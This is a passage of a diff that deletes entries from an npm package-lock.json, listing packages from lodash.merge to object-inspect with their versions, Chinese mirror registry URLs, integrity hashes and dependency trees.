-      "resolved": "https://registry.npm.taobao.org/lodash.merge/download/lodash.merge-4.6.2.tgz",
-      "integrity": "sha1-VYqlO0O2YeGSWgr9+japoQhf5Xo="
-    },
-    "lodash.template": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npm.taobao.org/lodash.template/download/lodash.template-4.5.0.tgz",
-      "integrity": "sha1-+XYZXPPzR9DV9SSDVp/oAxzM6Ks=",
-      "requires": {
-        "lodash._reinterpolate": "^3.0.0",
-        "lodash.templatesettings": "^4.0.0"
-      }
-    },
-    "lodash.templatesettings": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npm.taobao.org/lodash.templatesettings/download/lodash.templatesettings-4.2.0.tgz",
-      "integrity": "sha1-5IExDwSdPPbUfpEq0JMTsVTw+zM=",
-      "requires": {
-        "lodash._reinterpolate": "^3.0.0"
-      }
-    },
-    "lodash.truncate": {
-      "version": "4.4.2",
-      "resolved": "https://registry.npm.taobao.org/lodash.truncate/download/lodash.truncate-4.4.2.tgz",
-      "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM="
-    },
-    "lodash.uniq": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npm.taobao.org/lodash.uniq/download/lodash.uniq-4.5.0.tgz",
-      "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M="
-    },
-    "loglevel": {
-      "version": "1.7.1",
-      "resolved": "https://registry.npm.taobao.org/loglevel/download/loglevel-1.7.1.tgz",
-      "integrity": "sha1-AF/eL15uRwaPk1/yhXPhJe9y8Zc="
-    },
-    "loose-envify": {
-      "version": "1.4.0",
-      "resolved": "https://registry.nlark.com/loose-envify/download/loose-envify-1.4.0.tgz",
-      "integrity": "sha1-ce5R+nvkyuwaY4OffmgtgTLTDK8=",
-      "requires": {
-        "js-tokens": "^3.0.0 || ^4.0.0"
-      }
-    },
-    "lower-case": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/lower-case/download/lower-case-2.0.2.tgz?cache=0&sync_timestamp=1606867384237&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flower-case%2Fdownload%2Flower-case-2.0.2.tgz",
-      "integrity": "sha1-b6I3xj29xKgsoP2ILkci3F5jTig=",
-      "requires": {
-        "tslib": "^2.0.3"
-      },
-      "dependencies": {
-        "tslib": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz",
-          "integrity": "sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w="
-        }
-      }
-    },
-    "lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/lru-cache/download/lru-cache-6.0.0.tgz",
-      "integrity": "sha1-bW/mVw69lqr5D8rR2vo7JWbbOpQ=",
-      "requires": {
-        "yallist": "^4.0.0"
-      }
-    },
-    "lz-string": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npm.taobao.org/lz-string/download/lz-string-1.4.4.tgz",
-      "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY="
-    },
-    "magic-string": {
-      "version": "0.25.7",
-      "resolved": "https://registry.npm.taobao.org/magic-string/download/magic-string-0.25.7.tgz",
-      "integrity": "sha1-P0l9b9NMZpxnmNy4IfLvMfVEUFE=",
-      "requires": {
-        "sourcemap-codec": "^1.4.4"
-      }
-    },
-    "make-dir": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-2.1.0.tgz",
-      "integrity": "sha1-XwMQ4YuL6JjMBwCSlaMK5B6R5vU=",
-      "requires": {
-        "pify": "^4.0.1",
-        "semver": "^5.6.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        }
-      }
-    },
-    "makeerror": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npm.taobao.org/makeerror/download/makeerror-1.0.11.tgz",
-      "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=",
-      "requires": {
-        "tmpl": "1.0.x"
-      }
-    },
-    "map-cache": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npm.taobao.org/map-cache/download/map-cache-0.2.2.tgz",
-      "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8="
-    },
-    "map-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/map-visit/download/map-visit-1.0.0.tgz",
-      "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
-      "requires": {
-        "object-visit": "^1.0.0"
-      }
-    },
-    "md5.js": {
-      "version": "1.3.5",
-      "resolved": "https://registry.npm.taobao.org/md5.js/download/md5.js-1.3.5.tgz",
-      "integrity": "sha1-tdB7jjIW4+J81yjXL3DR5qNCAF8=",
-      "requires": {
-        "hash-base": "^3.0.0",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      }
-    },
-    "mdn-data": {
-      "version": "2.0.4",
-      "resolved": "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.4.tgz",
-      "integrity": "sha1-aZs8OKxvHXKAkaZGULZdOIUC/Vs="
-    },
-    "media-typer": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npm.taobao.org/media-typer/download/media-typer-0.3.0.tgz",
-      "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
-    },
-    "memory-fs": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.4.1.tgz",
-      "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=",
-      "requires": {
-        "errno": "^0.1.3",
-        "readable-stream": "^2.0.1"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "merge-descriptors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/merge-descriptors/download/merge-descriptors-1.0.1.tgz",
-      "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
-    },
-    "merge-stream": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/merge-stream/download/merge-stream-2.0.0.tgz",
-      "integrity": "sha1-UoI2KaFN0AyXcPtq1H3GMQ8sH2A="
-    },
-    "merge2": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npm.taobao.org/merge2/download/merge2-1.4.1.tgz",
-      "integrity": "sha1-Q2iJL4hekHRVpv19xVwMnUBJkK4="
-    },
-    "methods": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/methods/download/methods-1.1.2.tgz",
-      "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
-    },
-    "microevent.ts": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/microevent.ts/download/microevent.ts-0.1.1.tgz",
-      "integrity": "sha1-cLCbg/Q99RctAgWmMCW84Pc1f6A="
-    },
-    "micromatch": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-4.0.4.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-4.0.4.tgz",
-      "integrity": "sha1-iW1Rnf6dsl/OlM63pQCRm/iB6/k=",
-      "requires": {
-        "braces": "^3.0.1",
-        "picomatch": "^2.2.3"
-      }
-    },
-    "miller-rabin": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/miller-rabin/download/miller-rabin-4.0.1.tgz",
-      "integrity": "sha1-8IA1HIZbDcViqEYpZtqlNUPHik0=",
-      "requires": {
-        "bn.js": "^4.0.0",
-        "brorand": "^1.0.1"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "mime": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npm.taobao.org/mime/download/mime-1.6.0.tgz",
-      "integrity": "sha1-Ms2eXGRVO9WNGaVor0Uqz/BJgbE="
-    },
-    "mime-db": {
-      "version": "1.48.0",
-      "resolved": "https://registry.nlark.com/mime-db/download/mime-db-1.48.0.tgz",
-      "integrity": "sha1-41sxBF3X6to6qtU37YijOvvvLR0="
-    },
-    "mime-types": {
-      "version": "2.1.31",
-      "resolved": "https://registry.nlark.com/mime-types/download/mime-types-2.1.31.tgz",
-      "integrity": "sha1-oA12t0MXxh+cLbIhi46fjpxcnms=",
-      "requires": {
-        "mime-db": "1.48.0"
-      }
-    },
-    "mimic-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/mimic-fn/download/mimic-fn-2.1.0.tgz?cache=0&sync_timestamp=1617823583529&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmimic-fn%2Fdownload%2Fmimic-fn-2.1.0.tgz",
-      "integrity": "sha1-ftLCzMyvhNP/y3pptXcR/CCDQBs="
-    },
-    "min-indent": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/min-indent/download/min-indent-1.0.1.tgz",
-      "integrity": "sha1-pj9oFnOzBXH76LwlaGrnRu76mGk="
-    },
-    "mini-css-extract-plugin": {
-      "version": "0.11.3",
-      "resolved": "https://registry.nlark.com/mini-css-extract-plugin/download/mini-css-extract-plugin-0.11.3.tgz?cache=0&sync_timestamp=1619783258317&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmini-css-extract-plugin%2Fdownload%2Fmini-css-extract-plugin-0.11.3.tgz",
-      "integrity": "sha1-FbCRCn8y5i/95KdDDP771wByTqY=",
-      "requires": {
-        "loader-utils": "^1.1.0",
-        "normalize-url": "1.9.1",
-        "schema-utils": "^1.0.0",
-        "webpack-sources": "^1.1.0"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.4.0",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz",
-          "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^3.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz",
-          "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        }
-      }
-    },
-    "minimalistic-assert": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/minimalistic-assert/download/minimalistic-assert-1.0.1.tgz",
-      "integrity": "sha1-LhlN4ERibUoQ5/f7wAznPoPk1cc="
-    },
-    "minimalistic-crypto-utils": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/minimalistic-crypto-utils/download/minimalistic-crypto-utils-1.0.1.tgz",
-      "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo="
-    },
-    "minimatch": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz",
-      "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
-      "requires": {
-        "brace-expansion": "^1.1.7"
-      }
-    },
-    "minimist": {
-      "version": "1.2.5",
-      "resolved": "https://registry.npm.taobao.org/minimist/download/minimist-1.2.5.tgz",
-      "integrity": "sha1-Z9ZgFLZqaoqqDAg8X9WN9OTpdgI="
-    },
-    "minipass": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/minipass/download/minipass-3.1.3.tgz",
-      "integrity": "sha1-fUL/HzljVILhX5zbUxhN7r1YFf0=",
-      "requires": {
-        "yallist": "^4.0.0"
-      }
-    },
-    "minipass-collect": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/minipass-collect/download/minipass-collect-1.0.2.tgz",
-      "integrity": "sha1-IrgTv3Rdxu26JXa5QAIq1u3Ixhc=",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "minipass-flush": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/minipass-flush/download/minipass-flush-1.0.5.tgz",
-      "integrity": "sha1-gucTXX6JpQ/+ZGEKeHlTxMTLs3M=",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "minipass-pipeline": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npm.taobao.org/minipass-pipeline/download/minipass-pipeline-1.2.4.tgz",
-      "integrity": "sha1-aEcveXEcCEZXwGfFxq2Tzd6oIUw=",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "minizlib": {
-      "version": "2.1.2",
-      "resolved": "https://registry.nlark.com/minizlib/download/minizlib-2.1.2.tgz",
-      "integrity": "sha1-6Q00Zrogm5MkUVCKEc49NjIUWTE=",
-      "requires": {
-        "minipass": "^3.0.0",
-        "yallist": "^4.0.0"
-      }
-    },
-    "mississippi": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/mississippi/download/mississippi-3.0.0.tgz",
-      "integrity": "sha1-6goykfl+C16HdrNj1fChLZTGcCI=",
-      "requires": {
-        "concat-stream": "^1.5.0",
-        "duplexify": "^3.4.2",
-        "end-of-stream": "^1.1.0",
-        "flush-write-stream": "^1.0.0",
-        "from2": "^2.1.0",
-        "parallel-transform": "^1.1.0",
-        "pump": "^3.0.0",
-        "pumpify": "^1.3.3",
-        "stream-each": "^1.1.0",
-        "through2": "^2.0.0"
-      }
-    },
-    "mixin-deep": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npm.taobao.org/mixin-deep/download/mixin-deep-1.3.2.tgz",
-      "integrity": "sha1-ESC0PcNZp4Xc5ltVuC4lfM9HlWY=",
-      "requires": {
-        "for-in": "^1.0.2",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz",
-          "integrity": "sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=",
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        }
-      }
-    },
-    "mkdirp": {
-      "version": "0.5.5",
-      "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-0.5.5.tgz",
-      "integrity": "sha1-2Rzv1i0UNsoPQWIOJRKI1CAJne8=",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "move-concurrently": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/move-concurrently/download/move-concurrently-1.0.1.tgz",
-      "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=",
-      "requires": {
-        "aproba": "^1.1.1",
-        "copy-concurrently": "^1.0.0",
-        "fs-write-stream-atomic": "^1.0.8",
-        "mkdirp": "^0.5.1",
-        "rimraf": "^2.5.4",
-        "run-queue": "^1.0.3"
-      },
-      "dependencies": {
-        "rimraf": {
-          "version": "2.7.1",
-          "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz",
-          "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=",
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        }
-      }
-    },
-    "ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.2.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.2.tgz",
-      "integrity": "sha1-0J0fNXtEP0kzgqjrPM0YOHKuYAk="
-    },
-    "multicast-dns": {
-      "version": "6.2.3",
-      "resolved": "https://registry.nlark.com/multicast-dns/download/multicast-dns-6.2.3.tgz",
-      "integrity": "sha1-oOx72QVcQoL3kMPIL04o2zsxsik=",
-      "requires": {
-        "dns-packet": "^1.3.1",
-        "thunky": "^1.0.2"
-      }
-    },
-    "multicast-dns-service-types": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/multicast-dns-service-types/download/multicast-dns-service-types-1.1.0.tgz",
-      "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE="
-    },
-    "nan": {
-      "version": "2.14.2",
-      "resolved": "https://registry.npm.taobao.org/nan/download/nan-2.14.2.tgz?cache=0&sync_timestamp=1602591700047&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnan%2Fdownload%2Fnan-2.14.2.tgz",
-      "integrity": "sha1-9TdkAGlRaPTMaUrJOT0MlYXu6hk=",
-      "optional": true
-    },
-    "nanoid": {
-      "version": "3.1.23",
-      "resolved": "https://registry.nlark.com/nanoid/download/nanoid-3.1.23.tgz",
-      "integrity": "sha1-90QIbOfCvEfuCoRyV01ceOQYOoE="
-    },
-    "nanomatch": {
-      "version": "1.2.13",
-      "resolved": "https://registry.npm.taobao.org/nanomatch/download/nanomatch-1.2.13.tgz",
-      "integrity": "sha1-uHqKpPwN6P5r6IiVs4mD/yZb0Rk=",
-      "requires": {
-        "arr-diff": "^4.0.0",
-        "array-unique": "^0.3.2",
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "fragment-cache": "^0.2.1",
-        "is-windows": "^1.0.2",
-        "kind-of": "^6.0.2",
-        "object.pick": "^1.3.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      }
-    },
-    "native-url": {
-      "version": "0.2.6",
-      "resolved": "https://registry.npm.taobao.org/native-url/download/native-url-0.2.6.tgz",
-      "integrity": "sha1-yhJY9azhaccW/0Tsy922dOEDma4=",
-      "requires": {
-        "querystring": "^0.2.0"
-      }
-    },
-    "natural-compare": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/natural-compare/download/natural-compare-1.4.0.tgz",
-      "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc="
-    },
-    "negotiator": {
-      "version": "0.6.2",
-      "resolved": "https://registry.npm.taobao.org/negotiator/download/negotiator-0.6.2.tgz",
-      "integrity": "sha1-/qz3zPUlp3rpY0Q2pkiD/+yjRvs="
-    },
-    "neo-async": {
-      "version": "2.6.2",
-      "resolved": "https://registry.npm.taobao.org/neo-async/download/neo-async-2.6.2.tgz",
-      "integrity": "sha1-tKr7k+OustgXTKU88WOrfXMIMF8="
-    },
-    "next-tick": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/next-tick/download/next-tick-1.0.0.tgz",
-      "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw="
-    },
-    "nice-try": {
-      "version": "1.0.5",
-      "resolved": "https://registry.nlark.com/nice-try/download/nice-try-1.0.5.tgz",
-      "integrity": "sha1-ozeKdpbOfSI+iPybdkvX7xCJ42Y="
-    },
-    "no-case": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/no-case/download/no-case-3.0.4.tgz?cache=0&sync_timestamp=1606867284055&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fno-case%2Fdownload%2Fno-case-3.0.4.tgz",
-      "integrity": "sha1-02H9XJgA9VhVGoNp/A3NRmK2Ek0=",
-      "requires": {
-        "lower-case": "^2.0.2",
-        "tslib": "^2.0.3"
-      },
-      "dependencies": {
-        "tslib": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz",
-          "integrity": "sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w="
-        }
-      }
-    },
-    "node-forge": {
-      "version": "0.10.0",
-      "resolved": "https://registry.npm.taobao.org/node-forge/download/node-forge-0.10.0.tgz",
-      "integrity": "sha1-Mt6ir7Ppkm8C7lzoeUkCaRpna/M="
-    },
-    "node-int64": {
-      "version": "0.4.0",
-      "resolved": "https://registry.nlark.com/node-int64/download/node-int64-0.4.0.tgz",
-      "integrity": "sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs="
-    },
-    "node-libs-browser": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npm.taobao.org/node-libs-browser/download/node-libs-browser-2.2.1.tgz",
-      "integrity": "sha1-tk9RPRgzhiX5A0bSew0jXmMfZCU=",
-      "requires": {
-        "assert": "^1.1.1",
-        "browserify-zlib": "^0.2.0",
-        "buffer": "^4.3.0",
-        "console-browserify": "^1.1.0",
-        "constants-browserify": "^1.0.0",
-        "crypto-browserify": "^3.11.0",
-        "domain-browser": "^1.1.1",
-        "events": "^3.0.0",
-        "https-browserify": "^1.0.0",
-        "os-browserify": "^0.3.0",
-        "path-browserify": "0.0.1",
-        "process": "^0.11.10",
-        "punycode": "^1.2.4",
-        "querystring-es3": "^0.2.0",
-        "readable-stream": "^2.3.3",
-        "stream-browserify": "^2.0.1",
-        "stream-http": "^2.7.2",
-        "string_decoder": "^1.0.0",
-        "timers-browserify": "^2.0.4",
-        "tty-browserify": "0.0.0",
-        "url": "^0.11.0",
-        "util": "^0.11.0",
-        "vm-browserify": "^1.0.1"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "1.4.1",
-          "resolved": "https://registry.nlark.com/punycode/download/punycode-1.4.1.tgz",
-          "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          },
-          "dependencies": {
-            "string_decoder": {
-              "version": "1.1.1",
-              "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-              "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-              "requires": {
-                "safe-buffer": "~5.1.0"
-              }
-            }
-          }
-        }
-      }
-    },
-    "node-modules-regexp": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/node-modules-regexp/download/node-modules-regexp-1.0.0.tgz",
-      "integrity": "sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA="
-    },
-    "node-notifier": {
-      "version": "8.0.2",
-      "resolved": "https://registry.nlark.com/node-notifier/download/node-notifier-8.0.2.tgz?cache=0&sync_timestamp=1621962325593&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnode-notifier%2Fdownload%2Fnode-notifier-8.0.2.tgz",
-      "integrity": "sha1-8xZ6OO8NLIqGaoPjGMG6Dv63AsU=",
-      "optional": true,
-      "requires": {
-        "growly": "^1.3.0",
-        "is-wsl": "^2.2.0",
-        "semver": "^7.3.2",
-        "shellwords": "^0.1.1",
-        "uuid": "^8.3.0",
-        "which": "^2.0.2"
-      },
-      "dependencies": {
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-2.0.2.tgz",
-          "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=",
-          "optional": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "node-releases": {
-      "version": "1.1.73",
-      "resolved": "https://registry.nlark.com/node-releases/download/node-releases-1.1.73.tgz",
-      "integrity": "sha1-3U6B3dUnf/hGuAtSu0DEnt96eyA="
-    },
-    "normalize-package-data": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npm.taobao.org/normalize-package-data/download/normalize-package-data-2.5.0.tgz?cache=0&sync_timestamp=1616086811851&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnormalize-package-data%2Fdownload%2Fnormalize-package-data-2.5.0.tgz",
-      "integrity": "sha1-5m2xg4sgDB38IzIl0SyzZSDiNKg=",
-      "requires": {
-        "hosted-git-info": "^2.1.4",
-        "resolve": "^1.10.0",
-        "semver": "2 || 3 || 4 || 5",
-        "validate-npm-package-license": "^3.0.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        }
-      }
-    },
-    "normalize-path": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-3.0.0.tgz",
-      "integrity": "sha1-Dc1p/yOhybEf0JeDFmRKA4ghamU="
-    },
-    "normalize-range": {
-      "version": "0.1.2",
-      "resolved": "https://registry.nlark.com/normalize-range/download/normalize-range-0.1.2.tgz",
-      "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI="
-    },
-    "normalize-url": {
-      "version": "1.9.1",
-      "resolved": "https://registry.nlark.com/normalize-url/download/normalize-url-1.9.1.tgz",
-      "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=",
-      "requires": {
-        "object-assign": "^4.0.1",
-        "prepend-http": "^1.0.0",
-        "query-string": "^4.1.0",
-        "sort-keys": "^1.0.0"
-      }
-    },
-    "npm-run-path": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-2.0.2.tgz",
-      "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=",
-      "requires": {
-        "path-key": "^2.0.0"
-      }
-    },
-    "nth-check": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/nth-check/download/nth-check-1.0.2.tgz?cache=0&sync_timestamp=1606860690670&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnth-check%2Fdownload%2Fnth-check-1.0.2.tgz",
-      "integrity": "sha1-sr0pXDfj3VijvwcAN2Zjuk2c8Fw=",
-      "requires": {
-        "boolbase": "~1.0.0"
-      }
-    },
-    "num2fraction": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npm.taobao.org/num2fraction/download/num2fraction-1.2.2.tgz",
-      "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4="
-    },
-    "nwsapi": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/nwsapi/download/nwsapi-2.2.0.tgz",
-      "integrity": "sha1-IEh5qePQaP8qVROcLHcngGgaOLc="
-    },
-    "object-assign": {
-      "version": "4.1.1",
-      "resolved": "https://registry.nlark.com/object-assign/download/object-assign-4.1.1.tgz?cache=0&sync_timestamp=1618846992533&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject-assign%2Fdownload%2Fobject-assign-4.1.1.tgz",
-      "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
-    },
-    "object-copy": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npm.taobao.org/object-copy/download/object-copy-0.1.0.tgz",
-      "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
-      "requires": {
-        "copy-descriptor": "^0.1.0",
-        "define-property": "^0.2.5",
-        "kind-of": "^3.0.3"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "object-inspect": {
-      "version": "1.10.3",
